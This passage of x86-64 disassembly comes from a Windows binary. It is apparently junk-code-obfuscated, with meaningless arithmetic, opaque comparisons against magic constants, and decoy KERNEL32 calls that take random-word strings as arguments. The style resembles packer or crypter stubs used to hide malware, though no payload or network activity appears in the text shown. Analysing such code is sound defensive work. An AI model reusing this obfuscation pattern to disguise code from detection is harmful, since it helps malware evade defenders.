mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
cmp dword [rbp + 0x1566c], 0xf4dd
jbe 0x140008b4c
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
cmp eax, 0x36
jne 0x140009152
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
cmp eax, 0x91f518af
je 0x1400090f3
cmp eax, 0xed6aae6b
je 0x140009135
jmp 0x1400091c0
lea rax, [rbp + 0x3f30]
mov r8d, 0xd6
mov rdx, rax
lea rax, str.zoningAugerDebating_skinnerFeeblest
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
call rax
mov dword [rbp + 0x1512c], eax
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
sub edx, eax
mov dword [0x1400dd314], edx
jmp 0x140009150
movzx ecx, word [rbp + 0x3e7e]
movzx edx, word [rbp + 0x32a]
mov rax, qword [rbp + 0x46b0]
xor edx, ecx
mov word [rax], dx
nop
jmp 0x1400091c0
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
mov byte [rbp + 0x50c4], al
lea rax, [rbp + 0x44f8]
mov qword [rbp + 0x26b8], rax
lea rax, [rbp + 0x204]
mov qword [rbp + 0x27d0], rax
lea rax, [rbp + 0x4f88]
mov qword [rbp + 0x156f8], rax
lea rax, [rbp + 0x3b8]
mov qword [rbp + 0x3c18], rax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x3e7e], ax
nop
mov eax, dword [rbp + 0x2728]
test eax, eax
je 0x140009255
cmp eax, 0xd3af772e
jne 0x1400c8473
movzx eax, word [rbp + 0x152c]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
or eax, edx
mov dword [0x1400dd310], eax
lea rdx, [rbp + 0x3b8]
mov dword [rsp + 0x28], 0xc0
lea rax, [rbp + 0x4850]
mov qword [rsp + 0x20], rax
lea r9, str.Nauseates_rooibos
mov r8, rdx
mov edx, 0xcf
mov ecx, 0xdb
mov rax, qword [sym.imp.KERNEL32.dll_GetDateFormatW]
call rax
mov dword [rbp + 0x3424], eax
jmp 0x1400c8473
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
and eax, edx
movsx ecx, al
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
jne 0x1400093dc
movzx eax, word [rbp + 0x152c]
movzx eax, ax
cmp eax, 0x142
jne 0x1400092bb
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
jmp 0x1400092f0
lea rax, [rbp + 0x3507]
mov qword [rbp + 0x1538], rax
lea rax, [0x1400dd310]
mov qword [rbp + 0x156b0], rax
mov dword [rbp + 0x1565c], 0xed7
lea rax, [rbp + 0x44f8]
mov qword [rbp + 0x156a0], rax
nop
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
mov qword [rbp + 0x45b0], rax
mov ecx, dword [rbp + 0x2764]
mov edx, dword [0x1400dd314]
mov rax, qword [rbp + 0x4830]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x3507]
movsx eax, al
test eax, eax
je 0x140009334
cmp eax, 0x4a
je 0x1400093b9
jmp 0x1400093dc
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
test eax, eax
jne 0x140009399
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov word [rbp + 0x1316], ax
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x50c4]
add edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
movzx eax, word [rbp + 0x1316]
add eax, edx
mov word [rbp + 0x3e7e], ax
lea rax, [rbp + 0x36a6]
mov qword [rbp + 0x15700], rax
jmp 0x1400093b7
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x152c], ax
nop
jmp 0x1400093dc
mov rax, qword [rbp + 0x156a0]
mov rcx, qword [rax]
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x3d18]
mov r8, rcx
mov rcx, rax
call fcn.140003bbd
nop
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x50c8], edx
jmp 0x1400095f3
mov rax, qword [rbp + 0x156a0]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x26b8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [0x1400dd314]
sub edx, eax
mov dword [rbp + 0x2728], edx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
or rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
xor eax, edx
mov byte [rbp + 0x221a], al
add dword [rbp + 0x15764], 0xc6
movzx edx, word [rbp + 0x36a6]
movzx eax, word [rbp + 0x152c]
and edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3d18]
add rax, rdx
mov qword [rbp + 0x44f8], rax
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2728]
sub edx, eax
mov dword [rbp + 0x2764], edx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
sub rdx, rax
mov qword [rbp + 0x45b0], rdx
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [0x1400dd310]
add edx, eax
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
and eax, edx
mov dword [0x1400dd310], eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
add eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x221a]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
cmp dword [rbp + 0x15764], 0x2708
jbe 0x1400093f8
lea rax, [rbp + 0x204]
mov qword [rbp + 0xe28], rax
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x44f8]
mov rcx, rdx
or rcx, rax
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
xor rax, rdx
cmp rcx, rax
jb 0x14000976c
movzx eax, word [rbp + 0x4dfc]
cwde
test eax, eax
jne 0x14000974b
mov rax, qword [rbp + 0x15660]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x3c18]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x3507]
movsx eax, al
test eax, eax
jne 0x14000971d
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
sub rdx, rax
mov qword [rbp + 0x2378], rdx
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov qword [rbp + 0x33b8], rax
lea rax, [rbp + 0x5dc]
mov qword [rbp + 0x15740], rax
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
add rax, rdx
mov qword [0x1400dd318], rax
movzx eax, word [rbp + 0x32a]
mov word [rbp + 0x27fe], ax
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1286], al
jmp 0x14000973f
lea rax, [rbp + 0x4920]
lea rdx, str.nominator_Confided
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcpyW]
call rax
mov qword [rbp + 0x156c8], rax
nop
mov dword [rbp + 0x15658], 0x4b65
jmp 0x1400097a3
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x5dc]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15700]
mov word [rax], dx
jmp 0x1400097a3
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x156a0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov r8, qword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x156b0]
mov eax, dword [rax]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
jmp 0x140009c2d
mov ecx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
and edx, eax
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x3d18]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x45b0]
mov ecx, edx
sar rax, cl
mov qword [rbp + 0x2378], rax
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x129e]
xor eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x1538]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
or edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x15138]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x6c0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1316]
and edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x44f8], rax
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
add rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x156e8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x221a]
mov rax, qword [rbp + 0xa70]
add edx, ecx
mov byte [rax], dl
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
add dword [rbp + 0x15734], 0xc0
mov rax, qword [rbp + 0x15690]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6c0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x46b0]
xor edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x12c8]
mov byte [rax], dl
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
mov ecx, eax
mov rax, qword [rbp + 0x26b8]
shr rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
or rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov dword [rbp + 0x204], eax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x9f0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
and edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x50c4]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3d18]
sub rdx, rax
mov qword [rbp + 0x44f8], rdx
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x45b0]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x3424], edx
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x3c18]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x9b8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3507]
mov rax, qword [rbp + 0x3230]
and edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1316], ax
mov edx, dword [rbp + 0x3424]
mov eax, dword [0x1400e1030]
add eax, edx
mov dword [rbp + 0x204], eax
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2764]
mov rax, qword [rbp + 0x3c18]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x15734], 0xabfd
jbe 0x1400097a8
lea rax, [rbp + 0x3d18]
mov qword [rbp + 0x15120], rax
mov dword [rbp + 0x15730], 0xe9ad
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x156f8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x2378]
and rax, rcx
cmp rdx, rax
jne 0x1400c83fe
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x36a6]
movzx edx, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x140009d1d
lea r8, [rbp + 0x32a]
lea rcx, [rbp + 0x44f0]
lea rdx, [rbp + 0xe28]
mov rax, qword [rbp + 0x15118]
mov dword [rsp + 0x20], 0x17
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
call rax
mov dword [rbp + 0x1512c], eax
mov rax, qword [rbp + 0x3230]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3507]
mov rax, qword [rbp + 0x1538]
xor edx, ecx
mov byte [rax], dl
jmp 0x140009e75
mov rax, qword [rbp + 0x6c0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3e7e]
or edx, eax
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x4dfc]
and eax, ecx
cmp dx, ax
jle 0x140009e4d
movzx eax, word [rbp + 0x32a]
movsx edx, ax
movzx eax, word [rbp + 0x27fe]
cwde
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
cwde
sub edx, eax
cmp ecx, edx
je 0x140009e75
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x1286], al
mov rdx, qword [0x1400dd318]
movabs rax, 0x47116b7e321fb9ea
cmp rdx, rax
jne 0x140009dfd
mov rax, qword [rbp + 0x3230]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
and edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, word [rbp + 0x5dc]
sub eax, edx
mov word [rbp + 0x129e], ax
lea rax, [rbp + 0x1770]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call rax
jmp 0x140009e75
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx ecx, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx r9d, ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx r8d, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x140009e75
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [0x1400dd310]
add edx, eax
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
lea rax, [rbp + 0x33b8]
mov qword [rbp + 0x15778], rax
mov dword [rbp + 0x15728], 0xa06e
jmp 0x14000a32d
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rax, rdx
mov qword [rbp + 0x45b0], rax
mov edx, dword [0x1400dd314]
mov eax, dword [rbp + 0x2764]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x2728], eax
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4dfc]
mov rax, qword [rbp + 0x6c0]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx eax, word [rbp + 0x36a6]
or eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x3230]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x9b8]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x27fe], ax
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x204]
mov eax, dword [rbp + 0x194]
sub edx, eax
mov dword [rbp + 0x3424], edx
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [0x1400dd318]
sub rdx, rax
mov qword [rbp + 0x45b0], rdx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
movzx edx, word [rbp + 0x129e]
movzx eax, word [rbp + 0x5dc]
and edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
sub edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x27fe]
xor edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x50c4]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, qword [rbp + 0x15120]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3ce8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x27d0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov edx, dword [0x1400dd310]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
sub edx, eax
mov dword [0x1400e1030], edx
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3e7e]
add eax, edx
mov word [rbp + 0x4dfc], ax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx edx, word [rbp + 0x36a6]
sub eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x3d18]
sub rdx, rax
mov qword [rbp + 0x33b8], rdx
mov rax, qword [rbp + 0x27d0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0xe28]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
and eax, edx
mov dword [rbp + 0x2764], eax
sub dword [rbp + 0x1564c], 0xa2
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x2378]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
or eax, edx
mov word [rbp + 0x1316], ax
movzx ecx, word [rbp + 0x152c]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x44f0]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x1286]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
movzx edx, byte [rbp + 0x50c4]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov ecx, dword [0x1400dd314]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x4830]
and edx, ecx
mov dword [rax], edx
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x44f8], rdx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [0x1400dd318]
add rax, rdx
mov qword [rbp + 0x45b0], rax
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
add eax, edx
mov dword [rbp + 0x204], eax
movzx eax, byte [rbp + 0x50c4]
movzx ecx, byte [rbp + 0x1286]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
movzx eax, word [rbp + 0x4dfc]
mov edx, eax
movzx eax, word [rbp + 0x32a]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x27fe], ax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
